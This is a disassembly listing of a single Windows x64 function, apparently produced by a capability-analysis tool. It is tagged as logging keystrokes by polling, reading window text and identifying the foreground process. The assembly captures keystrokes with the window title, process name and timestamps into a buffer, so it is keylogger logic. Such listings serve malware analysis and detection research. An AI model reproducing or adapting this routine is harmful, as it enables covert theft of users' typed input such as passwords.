Function at 0x14008fab0
Capabilities:
Enumerate process modules
Get graphical window text
Get keyboard layout
Get process image filename
Log keystrokes via polling

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb78]
sub rsp, 0xc50
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14017c430]
xor rax, rsp
mov qword [rbp + 0xb40], rax
mov rbx, rcx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rsi, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140090730
xor r12d, r12d
mov dword [rsp + 0x48], r12d
lea rdx, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
mov dword [rsp + 0x44], eax
test eax, eax
je 0x140090730
mov r8d, 0x104
lea rdx, [rbp + 0x930]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetClassNameW]
mov r8d, 0x104
lea rdx, [rbp + 0x720]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov word [rbp + 0x510], r12w
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x512]
call fcn.1400dd9f0
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
jne 0x14008fbad
lea r8, reloc.msi.dll_MsiGetActiveDatabase
mov edx, 0x104
lea rcx, [rbp + 0x510]
call fcn.1400d7f70
jmp 0x14008fe36
mov rcx, rax
cmp dword [0x140183788], r12d
jne 0x14008fbef
lea r9, [rsp + 0x70]
mov r8d, 8
lea rdx, [rsp + 0x68]
call qword [sym.imp.PSAPI.DLL_EnumProcessModules]
mov r9d, 0x104
lea r8, [rbp + 0x510]
mov rdx, qword [rsp + 0x68]
mov rcx, r14
call qword [sym.imp.PSAPI.DLL_GetModuleBaseNameW]
jmp 0x14008fe2d
mov r8d, 0x104
lea rdx, [rbp + 0x510]
call qword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
jne 0x14008fc23
lea r8, reloc.msi.dll_MsiGetActiveDatabase
mov edx, 0x104
lea rcx, [rbp + 0x510]
call fcn.1400d7f70
jmp 0x14008fe2d
lea rcx, [0x14017bd30]
mov rax, qword [0x14017bd30]
call qword [rax + 0x18]
lea rsi, [rax + 0x18]
mov qword [rsp + 0x50], rsi
lea rcx, [rbp + 0x510]
lea rax, [rbp + 0x510]
test rax, 0xffffffffffff0000
jne 0x14008fc82
movzx r13d, cx
mov ecx, r13d
call fcn.140002830
test rax, rax
je 0x14008fd86
mov r8d, r13d
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1400029f0
mov rsi, qword [rsp + 0x50]
jmp 0x14008fd86
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x510]
repne scasw ax, word [rdi]
not rcx
dec rcx
mov rdi, rcx
test ecx, ecx
jne 0x14008fcff
lea rdx, [rsi - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], eax
je 0x14008fd82
cmp dword [rdx + 0x10], eax
jge 0x14008fcd1
cmp dword [rsi - 0xc], eax
jge 0x14008fcc4
mov ecx, 0x80070057
call fcn.1400022b0
int3
mov dword [rsi - 0x10], r12d
mov word [rsi], r12w
jmp 0x14008fd82
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x14008fce8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
lea rsi, [rax + 0x18]
mov qword [rsp + 0x50], rsi
jmp 0x14008fd82
mov r15d, dword [rsi - 0x10]
lea r13, [rbp + 0x510]
sub r13, rsi
sar r13, 1
test ecx, ecx
jns 0x14008fd1f
mov ecx, 0x80070057
call fcn.1400022b0
int3
mov ecx, 1
sub ecx, dword [rsi - 8]
mov eax, dword [rsi - 0xc]
sub eax, edi
or eax, ecx
jge 0x14008fd41
mov edx, edi
lea rcx, [rsp + 0x50]
call fcn.1400020c0
mov rsi, qword [rsp + 0x50]
movsxd rax, edi
movsxd rdx, dword [rsi - 0xc]
mov rcx, rsi
add rdx, rdx
cmp r13, r15
lea r15, [rax + rax]
mov r9, r15
ja 0x14008fd65
lea r8, [rsi + r13*2]
call fcn.1400d4ebc
jmp 0x14008fd71
lea r8, [rbp + 0x510]
call fcn.1400d4e34
cmp edi, dword [rsi - 0xc]
jg 0x140090725
mov dword [rsi - 0x10], edi
mov word [r15 + rsi], r12w
mov edi, dword [rsp + 0x44]
mov edx, 0x5c
mov rcx, rsi
call fcn.1400d99e0
test rax, rax
je 0x14008fdf9
sub rax, rsi
sar rax, 1
cmp eax, 0xffffffff
je 0x14008fdf9
mov r8d, dword [rsi - 0x10]
sub r8d, eax
dec r8d
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.140016140
nop
mov r8, qword [rax]
mov edx, 0x104
lea rcx, [rbp + 0x510]
call fcn.1400d7f70
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x14008fdf2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
mov rsi, qword [rsp + 0x50]
jmp 0x14008fe12
lea r8, reloc.msi.dll_MsiGetActiveDatabase
mov edx, 0x104
lea rcx, [rbp + 0x510]
call fcn.1400d7f70
nop
lea rdx, [rsi - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x14008fe2d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp + 0x200], 0
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x201]
call fcn.1400dd9f0
mov word [rbp + 0x310], r12w
xor edx, edx
mov r8d, 0x1fe
lea rcx, [rbp + 0x312]
call fcn.1400dd9f0
mov word [rbp], r12w
xor edx, edx
mov r8d, 0x1fe
lea rcx, [rbp + 2]
call fcn.1400dd9f0
mov r13d, r12d
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x200]
call fcn.1400dd9f0
xor edx, edx
lea r8d, [rdx + 0x44]
lea rcx, [rbp - 0x7c]
call fcn.1400dd9f0
mov dword [rbp - 0x80], 0x48
lea rdx, [rbp - 0x80]
mov ecx, edi
call qword [sym.imp.USER32.dll_GetGUIThreadInfo]
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14008fed2
lea rdx, [rsp + 0x48]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
lea rcx, [rbp + 0x200]
call qword [sym.imp.USER32.dll_GetKeyboardState]
mov byte [rsp + 0x41], r13b
mov byte [rsp + 0x40], r13b
mov ecx, edi
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r14, rax
mov edi, dword [rbx]
cmp edi, 0x20
je 0x14008ff25
lea ecx, [rdi - 0x30]
cmp ecx, 0x2a
jbe 0x14008ff25
lea edx, [rdi - 0x60]
cmp edx, 0xf
jbe 0x14008ff25
lea edx, [rdi - 0xba]
cmp edx, 6
jbe 0x14008ff25
lea eax, [rdi - 0xdb]
cmp eax, 4
ja 0x14008ffde
mov r8, r14
mov edx, 2
mov ecx, edi
call qword [sym.imp.USER32.dll_MapVirtualKeyExW]
test eax, eax
jns 0x14008ff48
or r13d, 0xffffffff
mov dword [0x140183794], eax
jmp 0x14008ffde
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 0x100
lea r9, [rbp + 0x310]
lea r8, [rbp + 0x200]
mov edx, dword [rbx + 4]
mov ecx, dword [rbx]
call qword [sym.imp.USER32.dll_ToUnicodeEx]
mov r13d, eax
mov eax, dword [0x140183794]
test eax, eax
je 0x14008ffde
movzx ecx, word [rbp + 0x310]
mov word [rbp - 0x20], cx
mov word [rbp - 0x1e], ax
mov word [rbp - 0x1c], r12w
mov dword [0x140183794], r12d
mov dword [rsp + 0x20], 3
lea r9, [rbp - 0x18]
mov r8d, 3
lea rdx, [rbp - 0x20]
lea ecx, [r8 + 0x1d]
call qword [sym.imp.KERNEL32.dll_FoldStringW]
test eax, eax
je 0x14008ffde
lea r8, [rbp - 0x18]
mov edx, 0x100
lea rcx, [rbp + 0x310]
call fcn.1400d7f70
mov byte [rsp + 0x41], 1
mov byte [rsp + 0x40], 1
xor r15b, r15b
cmp r13d, 0xffffffff
jne 0x14008fff9
mov r15b, 1
mov r8, r14
mov edx, dword [rbx + 4]
mov ecx, dword [rbx]
call fcn.1400913d0
jmp 0x140090032
cmp dword [rbx], 0xd
je 0x140090016
lea rsi, [rbp + 0x310]
lea rdi, str.Num_Enter
mov ecx, 0xa
repe cmpsw word [rsi], word [rdi]
jne 0x140090032
lea r8, str.Enter
mov edx, 0x100
lea rcx, [rbp + 0x310]
call fcn.1400d7f70
or r13d, 0xffffffff
mov ecx, dword [0x14018378c]
test ecx, ecx
je 0x14009007c
cmp byte [0x1401835a5], 0
je 0x14009007c
mov word [rbp - 0x10], r12w
xor eax, eax
mov qword [rbp - 0xe], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 5
lea r9, [rbp - 0x10]
lea r8, [0x140183200]
mov edx, dword [0x140183790]
call qword [sym.imp.USER32.dll_ToUnicodeEx]
mov r13d, eax
mov eax, dword [rbx + 4]
mov dword [0x140183790], eax
mov eax, dword [rbx]
mov dword [0x14018378c], eax
mov byte [0x1401835a5], r15b
mov r9d, 0x101
lea r8, [rbp + 0x200]
mov edx, r9d
lea rcx, [0x140183200]
call fcn.1400d4e34
lea r14, [rbp + 0x310]
test r13d, r13d
jle 0x14009024a
xor r13b, r13b
lea rdi, [0x140132468]
test byte [rbp + 0x211], 0x80
je 0x1400900f4
mov rdx, rdi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.Ctrl
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r13b, 1
lea rsi, [0x140132464]
test byte [rbp + 0x212], 0x80
je 0x14009012c
mov rdx, rdi
test r13b, r13b
cmovne rdx, rsi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x140132480]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r13b, 1
test byte [rbp + 0x25b], 0x80
jne 0x14009013e
test byte [rbp + 0x25c], 0x80
je 0x140090166
test r13b, r13b
cmovne rdi, rsi
mov rdx, rdi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x140132488]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r13b, 1
test byte [rbp + 0x210], 0x80
je 0x140090192
test r13b, r13b
je 0x140090192
mov rdx, rsi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.Shift
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
test byte [rbx + 8], 0x80
jne 0x1400903ba
test r13b, r13b
je 0x140090200
mov rdx, rsi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
movzx edx, byte [rbx + 8]
shl dx, 8
movzx ecx, dx
movzx eax, byte [rbx + 4]
or ecx, eax
shl ecx, 0x10
mov r8d, 0x100
lea rdx, [rbp + 0x310]
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
lea rcx, [rbp]
lea rdx, [rbp + 0x310]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x14013249c]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r14, [rbp]
jmp 0x1400903c5
mov eax, dword [rbx]
cmp eax, 0x1b
je 0x140090218
cmp eax, 8
je 0x140090218
lea r14, [rbp + 0x310]
jmp 0x1400903c5
movzx eax, byte [rbx + 8]
shl ax, 8
movzx ecx, ax
movzx eax, byte [rbx + 4]
or ecx, eax
shl ecx, 0x10
mov r8d, 0x100
lea rdx, [rbp + 0x310]
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
mov edx, 0x3c
mov word [rbp], dx
jmp 0x1400901d5
cmp byte [rsp + 0x40], 0
jne 0x1400903ba
test r15b, r15b
jne 0x1400903ba
movzx eax, byte [rbx + 8]
shl ax, 8
movzx ecx, ax
movzx eax, byte [rbx + 4]
or ecx, eax
shl ecx, 0x10
mov r8d, 0x100
lea rdx, [rbp + 0x310]
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
test eax, eax
je 0x1400903ba
xor cl, cl
lea rdi, [0x140132468]
test byte [rbp + 0x211], 0x80
je 0x1400902bf
mov rdx, rdi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.Ctrl
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov cl, 1
lea rsi, [0x140132464]
test byte [rbp + 0x212], 0x80
je 0x1400902f5
mov rdx, rdi
test cl, cl
cmovne rdx, rsi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x140132480]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov cl, 1
test byte [rbp + 0x25b], 0x80
jne 0x140090307
test byte [rbp + 0x25c], 0x80
je 0x14009032d
mov rdx, rdi
test cl, cl
cmovne rdx, rsi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x140132488]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov cl, 1
test byte [rbp + 0x210], 0x80
je 0x14009035c
test cl, cl
cmovne rdi, rsi
mov rdx, rdi
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.Shift
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov cl, 1
test byte [rbx + 8], 0x80
jne 0x1400903ba
mov eax, dword [rbx]
cmp eax, 0xa2
je 0x1400903ba
cmp eax, 0xa3
je 0x1400903ba
cmp eax, 0xa4
je 0x1400903ba
cmp eax, 0xa5
je 0x1400903ba
cmp eax, 0x5b
je 0x1400903ba
cmp eax, 0x5c
je 0x1400903ba
cmp eax, 0xa0
je 0x1400903ba
cmp eax, 0xa1
je 0x1400903ba
test cl, cl
lea rcx, [rbp]
je 0x1400903ae
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x1400901d5
mov dword [rbp], 0x3c
jmp 0x1400901d9
cmp byte [rsp + 0x41], 0
je 0x140090730
lea rcx, [0x140183330]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rdi, qword [0x140183760]
cmp dword [rdi + 0x2b8], 0
jne 0x1400903f1
mov eax, 5
xchg dword [rdi + 0x70], eax
mov rdi, qword [0x140183760]
mov rsi, qword [rsp + 0x58]
cmp qword [rdi + 0x2a0], 0
jne 0x1400904e2
mov qword [rdi + 0x2a0], rsi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r9d, 0x440
mov r8, qword [0x140183760]
mov r8, qword [r8 + 0x298]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rcx, qword [0x140183760]
mov qword [rcx + 0x298], rax
xor edx, edx
mov r8d, 0x440
mov rcx, rax
call fcn.1400dd9f0
mov rdx, qword [0x140183760]
mov rax, qword [rdx + 0x298]
mov dword [rax], 0x440
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov rdx, qword [0x140183760]
mov r8, qword [rdx + 0x298]
add r8, 0x410
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov rdx, qword [0x140183760]
mov rcx, qword [rdx + 0x298]
add rcx, 4
lea rdx, [rbp + 0x720]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, qword [0x140183760]
mov rcx, qword [rdx + 0x298]
add rcx, 0x20c
lea rdx, [rbp + 0x510]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdi, qword [0x140183760]
mov dword [rdi + 0x284], 1
cmp qword [rdi + 0x2a0], rsi
je 0x140090654
xchg dword [rdi + 0x70], r12d
mov rdx, qword [0x140183760]
mov dword [rdx + 0x2b8], 1
mov rax, qword [rdx + 0x298]
mov edi, dword [rax]
add edi, dword [rdx + 0x288]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r9d, edi
mov r8, qword [0x140183760]
mov r8, qword [r8 + 0x290]
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rcx, qword [0x140183760]
mov qword [rcx + 0x290], rax
mov rdx, qword [rcx + 0x298]
mov r8d, dword [rdx]
mov ecx, dword [rcx + 0x288]
add rcx, rax
call fcn.1400d5d30
mov rdx, qword [0x140183760]
mov rdi, qword [rdx + 0x298]
mov eax, dword [rdi]
add dword [rdx + 0x288], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r9d, 0x440
mov r8, rdi
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rcx, qword [0x140183760]
mov qword [rcx + 0x298], rax
xor edx, edx
mov r8d, 0x440
mov rcx, rax
call fcn.1400dd9f0
mov rdx, qword [0x140183760]
mov rax, qword [rdx + 0x298]
mov dword [rax], 0x440
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov rdx, qword [0x140183760]
mov r8, qword [rdx + 0x298]
add r8, 0x410
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov rdx, qword [0x140183760]
mov rcx, qword [rdx + 0x298]
add rcx, 4
lea rdx, [rbp + 0x720]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, qword [0x140183760]
mov rcx, qword [rdx + 0x298]
add rcx, 0x20c
lea rdx, [rbp + 0x510]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, qword [0x140183760]
mov rcx, qword [rdx + 0x298]
mov eax, dword [rsp + 0x48]
mov dword [rcx + 0x40c], eax
mov rdi, qword [0x140183760]
inc dword [rdi + 0x284]
mov qword [rdi + 0x2a0], rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rdi + 0x298]
mov ecx, dword [rcx]
lea ecx, [rcx + rax*2]
mov rax, qword [rdi + 0x298]
mov dword [rax], ecx
mov rax, qword [0x140183760]
mov rsi, qword [rax + 0x298]
mov edi, dword [rsi]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r9d, edi
mov r8, rsi
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rcx, qword [0x140183760]
mov qword [rcx + 0x298], rax
lea rcx, [rax + 0x43c]
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov rdx, qword [0x140183760]
mov r8, qword [rdx + 0x298]
add r8, 0x420
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov rcx, qword [0x140183760]
add rcx, 0x74
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov rax, qword [0x140183760]
mov rdx, qword [rax + 0x298]
mov rax, qword [rax + 0x74]
mov qword [rdx + 0x434], rax
lea rcx, [0x140183330]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140090730
mov ecx, 0x80070057
call fcn.1400022b0
nop
mov rcx, qword [rbp + 0xb40]
xor rcx, rsp
call fcn.1400d4d90
lea r11, [rsp + 0xc50]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret